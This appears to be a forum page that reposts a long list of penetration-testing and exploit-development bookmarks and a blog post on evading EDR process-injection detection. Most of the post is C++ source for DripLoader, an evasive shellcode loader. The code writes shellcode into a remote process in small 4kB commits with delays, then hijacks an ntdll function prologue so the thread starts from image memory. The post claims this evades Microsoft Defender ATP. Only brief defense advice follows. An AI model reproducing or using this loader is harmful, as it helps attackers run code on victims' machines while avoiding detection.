Leaderboard

nu ma pricep, eu sunt zidar de meserie :))) Dar imi platesc parcarea pe unde merg

Penetration Testing OffSec Penetration Testing with Kali - Online Security Training Offensive Security Student Support Offensive Security Forums Exploits Database by Offensive Security Windows Privilege Escalation Checklists/Windows-Privilege-Escalation.md at master · netbiosX/Checklists Windows Privilege Escalation - a cheatsheet | Tim Arneaud OSCP - Windows Priviledge Escalation | Hacking and security FuzzySecurity | Windows Privilege Escalation Fundamentals Privilege Escalation | To Shell And Back: Adventures In Pentesting Cheat Sheets Spawning a TTY Shell MSFVennom cheat sheet Msfvenom Cheat Sheet – Security-Geek Path Traversal Cheat Sheet: Linux — GracefulSecurity Path Traversal Cheat Sheet: Windows — GracefulSecurity Reverse Shell Cheat Sheet | pentestmonkey How to Bypassing Filter to Traversal Attacks ? | Hacking & Tricks Local Linux Enumeration & Privilege Escalation Cheatsheet – Rebootuser Escape From SHELLcatraz - Breaking Out of Restricted Unix Shells - Speaker Deck Common Web-services · Security - My notepad Nmap Cheat Sheet Luke’s Ultimate OSCP Guide: Part 3 — Practical hacking tips and tricks Penetration Testing Methodology - 0DAYsecurity.com OSCP-Survival-Guide.pdf SQLinjection Login Bypass Using SQL Injection Hacking website using SQL Injection -step by step guide – Ethical Hacking Tutorials | Learn How to Hack | Hacking Tricks | Penetration Testing Lab Vulnhub – Kioptrix: Level 1.2 (#3) – Guillermo Cura Enumeration Visualized Wiki Guides OSCP · Teck_k2 Offensive Security's Complete Guide to Alpha how-to-oscp-final.md Loot and Enumerate · Security - My notepad Offensive Security's PWB and OSCP - My Experience - Security SiftSecurity Sift Jack Hacks Interesting Local File Inclusion method | DiabloHorn ferreirasc/oscp: oscp study Offensive Security Certified Professional (OSCP) Review - Jim Wilbur's Blog Passing OSCP - scund00r BlackWinter Security | Code and Stuff Linux Privilege Escalation Linux Privilege Escalation by Exploiting Cronjobs Basic Linux Privilege Escalation Pentest Practice Links Penetration test lab "Test lab" | Pentestit CTF365 - Capture The Flag | Security Training Platform [PentesterLab] PentesterLab Pro Mainsequence - Exploit Exercises OverTheWire: Natas Level 0 Welcome [Root Me : Hacking and Information Security learning platform] Hack The Box :: Penetration Testing Labs Hack The Box :: Forums Vulnerable By Design ~ VulnHub PentesterAcademy Pentester Academy: Learn Pentesting Online AttackDefense Labs: Pentester Academy Bug Bounty HackerOne Hacker101 CTF Hacker101 | HackerOne Platform Documentation Synack Synack - Dashboard Synack Onboarding Learn to hack and collaborate with other security researchers on bug bounties | BugBountyNotes.com GitHub - jhaddix/tbhm: The Bug Hunters Methodology Tomnomnom Vim Tutorial - Knowledge Base Assetnote Wordlists Penetration Testing with Kali - Online Security Training Offensive Security Student Support Offensive Security - Purchase Page Offensive Security - Exam Scheduling Link Exploits Database by Offensive Security Offensive Security Forums Hack The Box :: Penetration Testing Labs Hack The Box :: Forums IppSec - YouTube Vulnerable By Design ~ VulnHub codingo/Reconnoitre: A security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing. Scripts/Enumeration.py at master · MistSpark/Scripts · GitHub Pentesting Links Penetration test lab "Test lab" | Pentestit CTF365 - Capture The Flag | Security Training Platform [PentesterLab] PentesterLab Pro Mainsequence - Exploit Exercises OverTheWire: Natas Level 0 Welcome [Root Me : Hacking and Information Security learning platform] Pentester Academy: Learn Pentesting Online AttackDefense Labs: Pentester Academy Attify Store - Offensive IoT Exploitation | Attify Store Flex Center // Infosec Skills :: Home Reverse Engineering GREM IT and Information Security Cheat Sheets GIAC GREM Certification | Reverse Engineering Malware Cheat Sheet for Analyzing Malicious Software Reading The_Evolution_of_TDL.pdf Detecting DNS Tunneling Two's Complement VirusTotal Learn to Develop with Microsoft Developer Network | MSDN GitHub - ytisf/theZoo: A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public. MalwareTech - Life of a Malware Analyst The “Ultimate”Anti-Debugging Reference DEF CON CHINA Reverse Engineering challenges ARM Writing ARM Assembly (Part 1) | Azeria Labs Hardware FCC OET Authorization Search IoT Firmware Exploitation Online Practical Reverse Engineering Part 1 - Hunting for Debug Ports · Hack The World Intro to Hardware Hacking - Dumping your First Firmware IoT Hacking Tools | Attify Store Electronics – /dev/ttyS0 Extracting Flash Memory over SPI | GracefulSecurity NAND Flash Data Recovery Cookbook Centrifuge Platform® | Firmware Security Analysis | ReFirm Labs Binwalk Pro Network Protocols Reverse Engineering Network Protocols - Jack Hacks hasherezade (hasherezade) Hasherezade's projects SDR Hacking Signal Identification Wiki The Cryptopals Crypto Challenges ExploitDev Corelan ..:: Corelan Team | Peter Van Eeckhoutte (corelanc0d3r) ::.. Exploit writing tutorial part 1 : Stack Based Overflows | Corelan Team Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode | Corelan Team Exploit writing tutorial part 3 : SEH Based Exploits | Corelan Team Exploit writing tutorial part 3b : SEH Based Exploits – just another example | Corelan Team Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics | Corelan Team Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development | Corelan Team Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR | Corelan Team Exploit writing tutorial part 7 : Unicode – from 0x00410041 to calc | Corelan Team Exploit writing tutorial part 8 : Win32 Egg Hunting | Corelan Team Exploit writing tutorial part 9 : Introduction to Win32 shellcoding | Corelan Team Reverse Engineering and Binary Exploitation Series | PWNTHEBOX! FuzzySecurity | Tutorials ARM Products GitHub - Billy-Ellis/Exploit-Challenges: A collection of vulnerable ARM binaries for practicing exploit development Writing ARM Assembly (Part 1) | Azeria Labs Search [Root Me : Hacking and Information Security learning platform] Corellium arm_exploitation/exploitation_on_arm_based_systems.pdf at master · sashs/arm_exploitation 15/85 Security ROP on ARM with radare2 Microsoft Word - ARM paperF.docx OSCE Offensive Security’s CTP & OSCE Review - Jack Hacks OSCE/CTP Prep Guide – Tulpa Security mona.py – the manual | Corelan Team Resources for OSCE CTP/OSCE Prep – Wrapping Up Our Prep - The Human Machine Interface h0mbre/CTP-OSCE: Scripts I used during CTP jtpereyda/boofuzz: A fork and successor of the Sulley Fuzzing Framework Study Guide & Tips: Offensive Security Certified Expert (OSCE) / Cracking The Perimeter (CTP) - Amin Bohio phra's blog ~ Technical posts about InfoSec abatchy's blog | OSCE Study Plan Upgrade from LFI to RCE via PHP Sessions - RCE Security Taking_Back_Netcat.pdf OSCE Review (CTP Course) - Everything S3curity The Human Machine Interface h0mbre/Learning-C: A series of mini-projects used to learn C for beginners metasploit-payloads/c/meterpreter/workspace at master · rapid7/metasploit-payloads Linux Exploitation xairy/linux-kernel-exploitation: A collection of links related to Linux kernel exploitation OSEE awe_syllabus_2018 OSEE - AWEstralia 2018 preparations | www.jollyfrogs.com timip/OSEE: OSEE Preparation Common WinDbg Commands (Thematically Grouped) Windows Kernel Exploitation Tutorial Part 1: Setting up the Environment - rootkit abatchy's blog | Tutorials IoT Hardware IoT Firmware Exploitation Online | Registration The best resources for learning exploit development – Fabio Baroni Backdooring PE Files with Shellcode - Red Teaming Experiments Windows Exploitation Ricerca Security: "I'll ask your body": SMBGhost… SMBleedingGhost Writeup: Chaining SMBleed (CVE-20… Windows Internals & Software Drivers – OSR What is this? - Red Teaming Experiments Qemu Installing Qemu for Windows [E-Maculation wiki] Qemu package and guide for Windows available • E-Maculation Forum Index of /lubuntu/releases/16.04/release Building PPC Linux code using QEMU on Ubuntu 18.04 LTS Debian Ports Qemu - Google Drive hugsy/cemu: Cheap EMUlator: lightweight multi-architecture assembly playground Microcontrollers and SDRs Nyan Sat - Satellite Communications Challenge - Chapter 0 GNURadio GNU Radio Tutorials - GNU Radio Embedded Programming FastBit Embedded Brain Academy | Works on Firmware and Embedded Engineering | Udemy WebSecAcademy Web Security Academy: Free Online Training from PortSwigger Sursa: https://x0rb3l.github.io/Cyber-Bookmarks/bookmarks.html

Bypassing EDR real-time injection detection logic This is not really about suppressing/bypassing event collection, and more on understanding EDR architecture design flaws, lazy detection logic and correlation to minimize chance of triggering alerts with events that are (at least partially) collected. Some great posts on bypassing EDR agent collection: Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR (outflank) A tale of EDR bypass methods (@s3cur3th1ssh1t) FireWalker: A New Approach to Generically Bypass User-Space EDR Hooking (mdsec) Hell's Gate (@smelly__vx, @am0nsec) Halo's Gate - twin sister of Hell's Gate (sektor7) Another method of bypassing ETW and Process Injection via ETW registration (@modexpblog) Data Only Attack: Neutralizing EtwTi Provider (@slaeryan, kernel mode) Introduction In the previous post we discussed how solutions which use reliable, kernel-based sources for remote memory allocation events can use these to identify many of the in-the-wild injections with relative ease, regardless of the specific technique used, and without worrying that the event source is trivial to bypass from the usermode. Most notably Microsoft uses that ETW, though there are vendors who do it better. Today I wanted to share how easy it is to bypass any memory allocation-based logic. We will also bypass thread initialization alerting, which combined give us a technique undetectable by MDATP and many other EDRs out there, as of today. It is important to expose detection gaps like this, not only to force security vendors to improve defenses, but primarily to build awareness around inherent limitations of these solutions and the need for in-house security R&D programs, or at least use of well-engineered managed detection services for more complete coverage. Check out my previous post on detecting process injection with kernel ETW. T1055 vs EDR Let's first take a look at what independent evaluations can tell us about process injections, and if there is even anything to bypass. It's definitely good to know the product you're using is not able to flag Meterpreter's migrate command and process hollowing procedures from a 5+ year old Carbanak malware available on GitHub, even with prior knowledge of what is going to be tested, and half a year to prepare if needed. Other than that value of the last evaluation in context of injections is very limited, and we are not getting the full picture of how much each vendor invests into researching TTPs relevant right now, and in the future, or how robust the detection capability and data sources really are. https://ela.st/mitre-round3 While some EDRs were not able to flag on the elementary techniques, many improved detection capability to the point that today, it is not uncommon for process injection to be considered OPSEC-expensive by red teams. Experienced operators tend to tailor detection bypasses per-solution, and in some environments they choose to avoid injecting altogether, as the very limited set of APIs Windows exposes for memory and thread management are under close surveillance. We are going to talk about bypassing the mature solutions today - for the ones with T1055 misses here just use APC injection and you'll probably be fine. Let's first discuss all the detection opportunities for anomalous remote thread creation. CRT anomalies The API getting most attention has to be kernel32!CreateRemoteThread, but we are really talking about ntdll!NtCreateThreadEx, or the kernel mode target intercepted through kernel callbacks. https://github.com/elastic/detection-rules Here we have a basic detection for a specific Windows process - msbuild.exe creating a new thread in a remote process. Even though criticality of a potential true positive would be quite high, after testing the rule author decided it is only suitable for low severity (probably due to FP-rate), which likely degrades the rule to an IR label/enrichment in most environments. Such a simple detection rule is unlikely to be part of a mature EDR solution where customers expect to receive alerts for activities like this with high severity, while keeping noise down to allow their analysts to review and classify the important stuff. https://github.com/FalconForceTeam/FalconFriday A more generic, custom MDATP thread creation rule based around the new FileProfile() enrichment function - detects extremely rare files creating threads in remote processes. Very useful to implement in-house, but still unlikely to be found in EDRs in such a simple form, as it would cause substantial amounts of false positives in certain environments, and could prove difficult to maintain. As an example, Defender logs most remote thread creations as labeled events, but low file prevalence is not good enough of an indicator to trigger alert, and there is more advanced logic in play - true for most decent EDRs. CRT events logged by Defender Understanding correlation By "detections" and "alerts" I do not just mean labeled activity which can be found somewhere in the platform, but rather independent pieces of logic able to signal threats with high enough fidelity to generate user-facing security incidents with no additional activity tagged on the endpoint. (I also assume the platform is not incredibly noisy, to the level of it being unusable) This is important to remember as EDRs use various kinds of correlation to link otherwise undetected activities to existing incidents initiated by high fidelity alerts, or generate them based on some risk score analysis often affectionately called "AI", making it difficult to judge whether some particular TTP would be detected in isolation. Some types of correlation can be very complex and difficult for adversaries to guess, but due to the high costs associated with preserving active context and using it in detection, time-based correlation plays a role in most. On-agent detections, activity and software inventories are often not implemented or limited in scope due to reverse engineering concerns or architecting difficulties. We will exploit this fact later on when building our shellcode injector by introducing delays in execution as one way to avoid detection. The concept is not new and is commonly used in network attacks where IDS solutions tend to detect based on thresholds. For the same reason choosing your EDR vendor based on the numerical results of things like the Mitre evaluation and percentage of coverage - is not a good idea. Among other issues, the test rounds are executed in an unrealistically short time window of around 30 minutes for the whole attack kill chain, which means time correlation of labeled events from the host to a single alert is good enough to score 100% coverage. High fidelity alerts So we know that even though the number of functions to monitor is limited, the volume of legitimate events poses significant challenges for high fidelity detection, and forces defenders to narrow down what constitutes "suspicious", resulting in heavy filtering or log&ignore of many collected events. For thread creation the most common constraint is thread starting process ≠ hosting process - so monitoring only remote thread creation, usually also limited to those with: thread start in image "unbacked" MEM_COMMIT-type segment the size of segment being larger than X and on scale this will still generate very significant amount of false positives, which may lead to further filtering, for example: thread location (target) only in Windows built-in executables only a subset of these thread initiator (source) only in risky executables unknown hashes low file prevalence risky paths (%userprofile%, %temp% etc.) not seen on the network/on the host memory page contains suspicious stuff Machine learning models are often employed to attempt solving this issue, and so on - these assumptions will differ for vendors, but the idea is to tame thread creation. The less mature solutions in fact often rely on thread creation hooking/callbacks as the only source of data for injection detection. While it is true that for majority of injection techniques a new thread will be created in the target process at some point, the way in which it's created is often unexpected and makes monitoring infeasible, thus relying exclusively on ntdll!NtCreateThread(Ex) hooking/thread creation callbacks nowadays is an easily exploitable design flaw. SetThreadContext In case of process hollowing or thread hijacking our target thread has already been created legitimately by the Windows Loader or the target application locally, and thus there is nothing to detect upon. This is one of the reasons CobaltStrike execute-assembly uses SetThreadContext instead of CRT injection on the sacrificial process. Once we have the telemetry, on scale it's much easier to detect certain SetThreadContext anomalies, than CRT-injection, and today in many environments it generates high criticality alerts, rendering fork&run useless in stealthy offensive ops. QueueUserAPC Asynchronous Procedure Calls provide another avenue for avoiding thread creation. An APC can be queued for an existing thread, and executed once it enters an alertable state. In recent years userland hooking evasion is getting a lot of coverage, and Early Bird injection has popularized use of APCs for that purpose. The idea is to queue an APC in a newly spawned, suspended process, before the ntdll!LdrpInitializeProcess function had a chance to run. That way our scheduled routine is executed before the hooking DLLs are loaded into the target process. Once again this technique becomes easy to detect when we stop relying solely on hooking. DripLoader Allocating memory To bypass any memory allocation based logic we will only commit page granularity, or PageSizesized pages, which on Windows 10 with a modern processor is 4kB: this constant found in SYSTEM_INFO structure tells us the lowest possible size of a VM allocation since most legitimate remote VM operations work on a single, or a few bytes, 4kB is by far the most prevalent allocation size (>95%), making it extremely challenging to detect on To accomplish this we need to deal with some inconveniences we need our shellcode in memory as a continuous byte sequence which means we cannot let kernel32!VirtualAllocEx choose base, as it might reserve memory at an address where the other allocations will not fit in Windows, any new VM allocation made with kernel32!VirtualAllocEx and similar is rounded up to AllocationGranularity which is another constant found in SYSTEM_INFO and is usually 64kB for example, if we allocate 4kB of MEM_COMMIT | MEM_RESERVE memory at 0x40000000, the whole 0x40010000 (64kB) region will be unavailable for new allocations Steps we take pre-define a list of 64 bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob const std::vector<LPVOID> VC_PREF_BASES{ (void*)0x00000000DDDD0000, (void*)0x0000000010000000, (void*)0x0000000021000000, (void*)0x0000000032000000, (void*)0x0000000043000000, (void*)0x0000000050000000, (void*)0x0000000041000000, (void*)0x0000000042000000, (void*)0x0000000040000000, (void*)0x0000000022000000 }; LPVOID GetSuitableBaseAddress(HANDLE hProc, DWORD szPage, DWORD szAllocGran, DWORD cVmResv) { MEMORY_BASIC_INFORMATION mbi; for (auto base : VC_PREF_BASES) { VirtualQueryEx( hProc, base, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE == mbi.State) { uint64_t i; for (i = 0; i < cVmResv; ++i) { LPVOID currentBase = (void*)((DWORD_PTR)base + (i * szAllocGran)); VirtualQueryEx( hProc, currentBase, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ); if (MEM_FREE != mbi.State) break; } if (i == cVmResv) { // found suitable base return base; } } } return nullptr; } reserve required number of full AllocationGranularity (64kB) sized regions, and then loop over those commiting 4kB pages to ensure page alignment // MEM_RESERVE, NO_ACCESS, 64kB for (i = 1; i <= cVmResv; ++i) { // sleeps here ANtAVM( hProc, &currentVmBase, NULL, &szVmResv, MEM_RESERVE, PAGE_NOACCESS ); if (STATUS_SUCCESS == status) vcVmResv.push_back(currentVmBase); else return 4; currentVmBase = (LPVOID)((DWORD_PTR)currentVmBase + szVmResv); } // MEM_COMMIT, PAGE_READWRITE -> PAGE_EXECUTE_READ, 4kB for (i = 0; i < cVmResv; ++i) { for (cmm_i = 0; cmm_i < cVmCmm; ++cmm_i) { DWORD offset = (cmm_i * szVmCmm); currentVmBase = (LPVOID)((DWORD_PTR)vcVmResv[i] + offset); ANtAVM( hProc, &currentVmBase, NULL, &szVmCmm, MEM_COMMIT, PAGE_READWRITE ); // sleeps here SIZE_T szWritten{ 0 }; ANtWVM( hProc, currentVmBase, &shellcode[offsetSc], szVmCmm, &szWritten ); offsetSc += szVmCmm; // sleeps here ANtPVM( hProc, &currentVmBase, &szVmCmm, PAGE_EXECUTE_READ, &oldProt ); } } The pages are also written to and individually reprotected with each run to avoid large RegionSize of target memory page in properties of logged VirtualProtectEx events. (TiEtw provides this, and hooks can too). Creating the thread Now that we have our shellcode in the remote process we need to initiate it's execution. To do this we will use the CreateThreadEx native API which is the ntdll target of CRT, and hence very commonly called by legitimate software. To bypass any detections we will: create the new thread from MEM_IMAGE base address moreover, we use a known-good module loaded by the Windows Loader, ntdll.dll the location will be patched with a far jmp to our shellcode base at the time of thread creation Note that we do not need to run in a MEM_IMAGE segment, as we only care about logging of arguments in the TiEtw/Hook event. If our shellcode creates a new thread (which would happen for example when using sRDI beacon.dll), the locally created thread won't be tagged on by most EDRs, but it will no longer have ntdll as it's start address which could get it detected by basic Endpoint Protection, and will get it detected by Get-InjectedThread. Steps we take figure out RVA of the function we will hijack // ntdll.dll char jmpModName[]{ 'n','t','d','l','l','.','d','l','l','\0' }; // RtlpWow64CtxFromAmd64 char jmpFuncName[]{ 'R','t','l','p','W','o','w','6','4','C','t','x','F','r','o','m','A','m','d','6','4','\0' }; LPVOID PrepEntry(HANDLE hProc, LPVOID vm_base) { unsigned char* b = (unsigned char*)&vm_base; unsigned char jmpSc[7]{ 0xB8, b[0], b[1], b[2], b[3], 0xFF, 0xE0 }; // find the export EP offset HMODULE hJmpMod = LoadLibraryExA( jmpModName, NULL, DONT_RESOLVE_DLL_REFERENCES ); if (!hJmpMod) return nullptr; LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName); DWORD offsetJmpFunc = (DWORD)lpDllExport - (DWORD)hJmpMod; [...] } find base of remote ntdll and calculate AVA [...] LPVOID lpRemFuncEP{ 0 }; HMODULE hMods[1024]; DWORD cbNeeded; char szModName[MAX_PATH]; if (EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded)) { int i; for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { if (GetModuleFileNameExA(hProc, hMods[i], szModName, sizeof(szModName) / sizeof(char))) { if (strcmp(PathFindFileNameA(szModName), jmpModName)==0) { lpRemFuncEP = hMods[i]; break; } } } } lpRemFuncEP = (LPVOID)((DWORD_PTR)lpRemFuncEP + offsetJmpFunc); [...] overwrite the function prologue with a jmp [...] if (NULL == lpRemFuncEP) return nullptr; SIZE_T szWritten{ 0 }; WriteProcessMemory( hProc, lpDllExport, jmpSc, sizeof(jmpSc), &szWritten ); return lpDllExport; } CreateRemoteThread The full source and more explanations can be found on GitHub xinbailu/DripLoader Evasive shellcode loader for bypassing event-based injection detection (PoC) - xinbailu/DripLoader github.com Result 1. The activity will generate events with the following characteristics // reservations VM_ALLOC: REMOTE: 1, SIZE: 0x10000, TYPE: 0x2000, PROT: 0x01 (-) // commits VM_ALLOC: REMOTE: 1, SIZE: 0x1000, TYPE: 0x1000, PROT: 0x04 (rw) VM_WRITE: REMOTE: 1, SIZE: 0x1000 THREAD_START: REMOTE: 1, SUSPENDED: 0, ACCMSK: 0xFFFF (full), PAGE_TYPE: 0x1000000 (img), LPTHREAD_START_ROUTINE: ntdll.RtlpWow64CtxFromAmd64+0x0 2. State of the target process (assuming shellcode does not create thread) Defense recommendations Option #1: Monitor injection APIs yourself EDRs with custom rule creation (or hunting) capabilities can be used, but make sure to fully understand under what circumstances events are collected aggregations and least frequency analysis hunting queries can be used to reduce workloads for your team Sursa: https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection